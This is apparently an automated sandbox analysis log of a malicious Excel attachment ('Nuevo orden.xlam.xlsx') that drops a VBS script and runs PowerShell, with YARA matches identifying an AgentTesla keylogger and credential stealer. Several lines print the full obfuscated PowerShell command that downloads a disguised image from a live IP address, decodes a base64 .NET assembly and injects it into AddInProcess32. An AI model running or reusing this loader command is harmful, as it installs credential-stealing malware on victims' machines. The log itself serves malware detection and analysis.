Source: powershell.exe, 00000006.00000002.473734424.0000000002389000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194
Source: powershell.exe, 00000006.00000002.473734424.0000000002389000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpg
Source: powershell.exe, 00000006.00000002.475358209.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpgEnN;
Source: wscript.exe, 00000005.00000002.476979913.0000000000657000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476718429.000000000044C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476838372.000000000048A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476732830.0000000000446000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476749983.000000000044D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.476923222.0000000000447000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476573009.000000000048A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.476948649.000000000048A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.476926894.0000000000450000.00000004.00000020.00020000.00000000.sdmp, datingloverstartingAgain.vbs.2.dr, datingloverstartingAgain[1].vbs.2.dr String found in binary or memory: http://91.92.254.29/Users_API/BrainiacMAX/file_njk01aso.gqz.txt
Source: wscript.exe, 00000005.00000003.476573009.0000000000475000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476854751.0000000000478000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476757799.0000000000477000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.476738936.0000000000475000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.476938358.0000000000478000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.29/Users_API/BrainiacMAX/file_njk01aso.gqz.txtVO
Source: AddInProcess32.exe, 00000008.00000002.619828282.000000000241C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002400000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000006.00000002.473828198.0000000003419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.473828198.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002400000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000006.00000002.473828198.0000000003279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.473734424.0000000002251000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002400000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619828282.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.473828198.0000000003419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.473828198.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.619369969.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000006.00000002.473828198.0000000003279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.473828198.0000000003279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.473828198.0000000003279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.473828198.0000000003279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, 8WWn.cs .Net Code: lLRvJ

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: sheet1.xml, type: SAMPLE Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 540, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex" Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_002438F0 8_2_002438F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00244910 8_2_00244910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0024F4E8 8_2_0024F4E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0024BD08 8_2_0024BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00243C38 8_2_00243C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00581860 8_2_00581860
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: Nuevo orden.xlam.xlsx OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Yara signature match
Source: sheet1.xml, type: SAMPLE Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.33b9a80.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 540, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, G39cBQ.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, G39cBQ.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, sDtvQjPGfa.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, b1PPCKov2KZ.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.33b9a80.1.raw.unpack, b1PPCKov2KZ.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@8/7@1/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$Nuevo orden.xlam.xlsx Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR8017.tmp Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\datingloverstartingAgain.vbs"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Nuevo orden.xlam.xlsx ReversingLabs: Detection: 75%
Source: Nuevo orden.xlam.xlsx Virustotal: Detection: 54%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\datingloverstartingAgain.vbs"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\datingloverstartingAgain.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
